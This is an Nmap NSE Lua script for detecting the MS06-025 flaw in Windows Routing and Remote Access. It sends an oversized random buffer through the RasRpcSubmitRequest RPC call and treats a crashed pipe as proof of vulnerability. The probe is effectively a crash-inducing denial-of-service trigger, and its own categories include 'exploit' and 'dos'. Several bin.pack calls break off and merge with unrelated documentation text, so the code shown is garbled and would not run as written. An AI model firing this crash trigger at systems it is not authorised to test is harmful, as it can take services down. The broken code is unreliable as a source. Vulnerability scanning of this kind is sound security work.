description = [[
Checks for ms06_025
vulnerability. The target of this vulnerability
is the Microsoft Windows Remote Routing and Access Service
which provides
an RPC interface for remote management (configuration and monitoring) of
an RRAS implementation.
RRAS implementation includes configuration methods for:
* Routing
* Remote access
* Site to site connectivity
RRAS is remotely accessible across the RRAS Management protocol (RRASM).
The RRASM protocol is a client-server protocol based on remote procedure
call (RPC). It comprises RPC methods that enable the remote management of
an RRAS implementation. It is defined in [5].
The RRASM client and server interact with each other using RPC interfaces.
There are two RPC interfaces supported by RRASM:
* DIMSVC
* RASRPC
RRASM uses RPC over named pipes, with the named pipe-name as \PIPE\ROUTER
.
The protocol MUST use the following UUID for the RPC interfaces.
* uuid = 8f09f000-b7ed-11ce-bbd2-00001a181cad
for the DIMSVC
interface
* uuid = 20610036-fa22-11cf-9823-00a0c911e5df
for the RASRPC
interface
This vulnerability targets the RasRpcSubmitRequest
method
within the RASRPC
interface. Vulnerability identifications:
* CVE-2006-2370
* OSVDB-26437
* BID-18325
* MS06-025
Detailed description:
MS06-025 vulnerability targets the RasRpcSumbitRequest() RPC method which is
a part of RASRPC interface that serves as a RPC service for configuring and
getting information from the Remote Access and Routing service. RASRPC can be
accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on WinXP machines).
This is in RPC world known as "ncan_np" RPC transport. RasRpcSumbitRequest()
method is a generic method which provides different functionalities according
to the RequestBuffer structure and particulary the RegType field within that
structure. RegType field is of enum ReqTypes type. This enum type lists all
the different available operation that can be performed using the RasRpcSubmitRequest()
RPC method. The one particular operation that this vuln targets is the REQTYPE_GETDEVCONFIG
request to get device information on the RRAS.
Affected Software [6]:
* Microsoft Windows 2000 Service Pack 4
* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
* Microsoft Windows XP Professional x64 Edition
* Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1
* Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
* Microsoft Windows Server 2003 x64 Edition — Download the update
Metasploit has a stable and working exploit for this vulnerability (ms06_025_rras).
Full IDL specification for RASRPC and DIMSVC interfaces are provided with [5].
Security consideration for RASRPC interface:
* The RPC server MUST allow only clients that are part of the
administrators group on the server.
Notes:
[1] Samba doesn't have an IDL for RRASM service.
[2] Naming conventions I used are the ones I found in "References", so when
anyone tries to read my code it can find similarities with the references.
References:
[1] The Open Group, "DCE 1.1: Remote Procedure Call", C706, http://www.opengroup.org/public/pubs/catalog/c706.htm.
[2] [MS-DTYP] Microsoft Corporation, "Windows Data Types".
[3] [MS-ERREF] Microsoft Corporation, "Windows Error Codes".
[4] [MS-RPCE] Microsoft Corporation, "Remote Procedure Call Protocol Extensions".
[5] [MS-RRASM] Microsoft Corporation, "Routing and Remote Access Server (RRAS) Management Protocol Specification"
[6] [MS06-025] http://www.microsoft.com/technet/security/bulletin/ms06-025.mspx
Tested on:
[1] Microsoft Windows 2000 (no SPs)
[2] Microsoft Windows 2000 SP4
Terms used:
[1] Blob - a binary representation of an object. An object could be a
simple data type such as an integer or a string. For example a two
byte blob representing number 7 would be "0x0007". LUA blob is of
string type. Blob is neither processed nor intepreted, it's raw data.
]]
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
---
-- @usage
-- nmap --script="smb-check-ms06_025" [--script-args="smbuser=admin, smbpass=nimda"]
-- @args smbuser Username used to login to a SMB session. Most commonly a given user must have
--administration privileges to successfuly triger the vulnerability.
-- @args smbpass Password used to login to a SMB session.
-- @output
-- Host script results:
--|_./smb-check-ms06_025.nse: MS06_025 alive!!!
categories = {"intrusive","exploit","dos","vuln"}
author = {"Drazen Popovic"}
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
require("msrpc")
require("msrpctypes")
require("bin")
require("smb")
require("smbauth")
hostrule = function(host)
return smb.get_port(host) ~= nil
end
action = function(host, port)
local check_result
check_result = check_ms06_025(host)
if(check_result == true) then
return "MS06_025 alive!!!"
else
return false
end
end
--- Check the existence of ms06_025 vulnerability in Microsoft Remote Routing
--and Access Service.
-- @param host Host object-
-- @return status
--* status == true
-> Vulnerability exists on the remote host.
--* status == false
-> Vulnerability does not exist on the remote host.
function check_ms06_025(host)
--create the SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, ROUTER_PATH)
if(status == false) then
return false
end
--bind to RRAS service
local bind_result
status, bind_result = msrpc.bind(smbstate, RASRPC_UUID, RASRPC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false
end
local req, buff, sr_result
req = RRAS_marshall_RequestBuffer(
0x01,
RRAS_RegTypes['GETDEVCONFIG'],
random_crap(3000))
status, sr_result = RRAS_SubmitRequest(smbstate, req)
--sanity check
if(status == false) then
stdnse.print_debug(
3,
"check_ms06_025: RRAS_SubmitRequest failed")
msrpc.stop_smb(smbstate)
if(sr_result == "NT_STATUS_PIPE_BROKEN") then
return true
else
return false
end
else
return false
end
end
--####################################################################--
--# 1) RRAS RASRPC INTERFACE
--####################################################################--
ROUTER_PATH = "\\router" --also can be reached across "\\srvsvc" pipe in WinXP
RASRPC_UUID = string.char(0x36, 0x00, 0x61, 0x20, 0x22, 0xfa, 0xcf, 0x11, 0x98, 0x23, 0x00, 0xa0, 0xc9, 0x11, 0xe5, 0xdf)
RASRPC_VERSION = 1
--####################################################################--
--# 2) RRAS RASRPC TYPES
--####################################################################--
--####################################################################--
--typedef enum _ReqTypes{
-- REQTYPE_PORTENUM = 21,//Request to enumerate all the port information on the RRAS.
-- REQTYPE_GETINFO = 22,//Request to get information about a specific port on the RRAS.
-- REQTYPE_GETDEVCONFIG = 73,//Request to get device information on the RRAS.
-- REQTYPE_SETDEVICECONFIGINFO = 94,//Request to set device configuration information on RRAS.
-- REQTYPE_GETDEVICECONFIGINFO = 95,//Request to get device configuration information on RRAS.
-- REQTYPE_GETCALLEDID = 105,//Request to get CalledId information for a specific device on RRAS.
-- REQTYPE_SETCALLEDID = 106,//Request to set CalledId information for a specific device on RRAS.
-- REQTYPE_GETNDISWANDRIVERCAPS = 111//Request to get the encryption capabilities of the RRAS.
--} ReqTypes;
--- The ReqTypes
enumerations indicate the different types of message requests that can be passed in
--the RB_ReqType
field of RequestBuffer
structure.
-- @see [MS-RRASM] 2.2.1.1.18 ReqTypes
--####################################################################--
RRAS_RegTypes = {}
RRAS_RegTypes['PORTENUM'] = 21
RRAS_RegTypes['GETINFO'] = 22
RRAS_RegTypes['GETDEVCONFIG'] = 73
RRAS_RegTypes['SETDEVICECONFIGINFO'] = 94
RRAS_RegTypes['GETDEVICECONFIGINFO'] = 95
RRAS_RegTypes['GETCALLEDID'] = 105
RRAS_RegTypes['SETCALLEDID'] = 106
RRAS_RegTypes['GETNDISWANDRIVERCAPS'] = 111
--####################################################################--
--typedef struct _RequestBuffer {
-- DWORD RB_PCBIndex;//A unique identifier for the port.
-- ReqTypes RB_Reqtype;//A ReqTypes enumeration value indicating the request type sent to the server.
-- DWORD RB_Dummy;//MUST be set to the size of the ULONG_PTR on the client.
-- DWORD RB_Done;//MBZ
-- LONGLONG Alignment;//MBZ
-- BYTE RB_Buffer[1];//variable size
--} RequestBuffer;
--- The RequestBuffer
is a generic information container used by the RasRpcSubmitRequest
--method to set or retrieve information on RRAS server. This method performs
--serialization of RequestBuffer
structure.
-- @return Returns a blob of RequestBuffer
structure.
-- @note This structure is not an IDL specification and as such is not translated into NDR.
-- @see [MS-RRASM] 2.2.1.2.218 RequestBuffer
--####################################################################--
function RRAS_marshall_RequestBuffer(RB_PCBIndex, RB_ReqType, RB_Buffer)
local rb_blob
RB_Dummy = 4
RB_Done = 0
Alignment = 0
rb_blob = bin.pack("3.3.4 Message Processing Events and Sequencing Rules
--####################################################################--
RRAS_Opnums = {}
RRAS_Opnums["RasRpcDeleteEntry"] = 5
RRAS_Opnums["RasRpcGetUserPreferences"] = 9
RRAS_Opnums["RasRpcSetUserPreferences"] = 10
RRAS_Opnums["RasRpcGetSystemDirectory"] = 11
RRAS_Opnums["RasRpcSubmitRequest"] = 12
RRAS_Opnums["RasRpcGetInstalledProtocolsEx"] = 14
RRAS_Opnums["RasRpcGetVersion"] = 15
--####################################################################--
--DWORD RasRpcSubmitRequest(
-- [in] handle_t hServer,//An RPC binding handle. (not send)
-- [in, out, unique, size_is(dwcbBufSize)] PBYTE pReqBuffer,//A pointer to a buffer of size dwcbBufSize.
-- [in] DWORD dwcbBufSize//Size in byte of pReqBuffer.
--);
---The RasRpcSubmitRequest method retrieves or sets the configuration data on RRAS server.
-- @param smbstate The smb object.
-- @param pReqBuffer The buffer MUST be large enough to hold the RequestBuffer
--structure and RequestBuffer.RB_Buffer
data. RequestBuffer.RB_Reqtype
--specifies the request type which will be processed by the server and
--RequestBuffer.RB_Buffer
specifies the structure specific to RB_Reqtype
--to be processed. RequestBuffer.RB_PCBIndex MUST be set to the unique port identifier
--whose information is sought for ReqTypes REQTYPE_GETINFO
and REQTYPE_GETDEVCONFIG
.
--For other valid ReqTypes
, RequestBuffer.RB_PCBIndex
MUST be set to zero.
-- @param dwcbBufSize Integer representing the size of pRegBuffer
in bytes.
-- @return (status, result)
--* status == true
-> result
is a blob that represent a pRegBuffer
.
--* status == false
-> result
is a error message that caused the fuzz.
-- @see [MS-RRASM] 3.3.4.5 RasRpcSubmitRequest (Opnum 12)
--####################################################################--
function RRAS_SubmitRequest(smbstate, pReqBuffer, dwcbBufSize)
--sanity check
if(dwcbBufSize == nil) then
dwcbBufSize = string.len(pReqBuffer)
end
--pack the request
local req_blob
--[in, out, unique, size_is(dwcbBufSize) PBYTE pReqBuffer,
req_blob = bin.pack("status == true
-> result
is an integer representing interfce version.
--* status == false
-> result
is a error message that caused the fuzz.
-- @note While trying to execute this RPC procedure server responded with an error indicating that
--the operation numbers is out of range. If anyone finds out the deal with this please let me know.
-- @see [MS-RRASM] 3.3.4.3 RasRpcGetVersion (Opnum 15)
--####################################################################--
function RRAS_GetVersion(smbstate)
--sanity check
--pack the request
local req_blob
--[in, out, ref] LPDWORD pdwVersion
req_blob = msrpctypes.marshall_int32(0) --any value will do
--call the function
local status, result
status, result = msrpc.call_function(
smbstate,
RRAS_Opnums["RasRpcGetVersion"],
req_blob)
--sanity check
if(status == false) then
stdnse.print_debug(
RRAS_DEBUG_LVL,
"RRAS_GetVersion: Call function failed: %s",
result)
return false, result
end
--dissect the reply
local rep_blob, version, pos
rep_blob = result
--[in, out, ref] LPDWORD pdwVersion
pos, version = msrpctypes.unmarshall_int32(rep_blob)
return true, version
end
--####################################################################--
--# UTILITY
--###################################################################--
--####################################################################--
---Makes a pad for alignment
-- @param data Data which needs to be padded for the sake of alignment.
-- @param align Integer representing the alignment boundary.
-- @param pad_byte The value for pad byte.
-- @return Returns the amount of pad calculated by (align-datalen%align)%align
.
--####################################################################--
function get_pad(data, align, pad_byte)
pad_byte = pad_byte or "\00"
return string.rep(pad_byte, (align-string.len(data)%align)%align)
end
--####################################################################--
---Generates a random string of the requested length.
--@param length The length of the string to return.
--@param set The set of letters to choose from. Default: ASCII letters and numbers
--@return The random string.
--####################################################################--
function random_crap(length, charset)
charset = charset or "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY"
local random_str = ""
for i = 1, length, 1 do
local random = math.random(#charset)
random_str = random_str .. string.sub(charset, random, random)
end
return random_str
end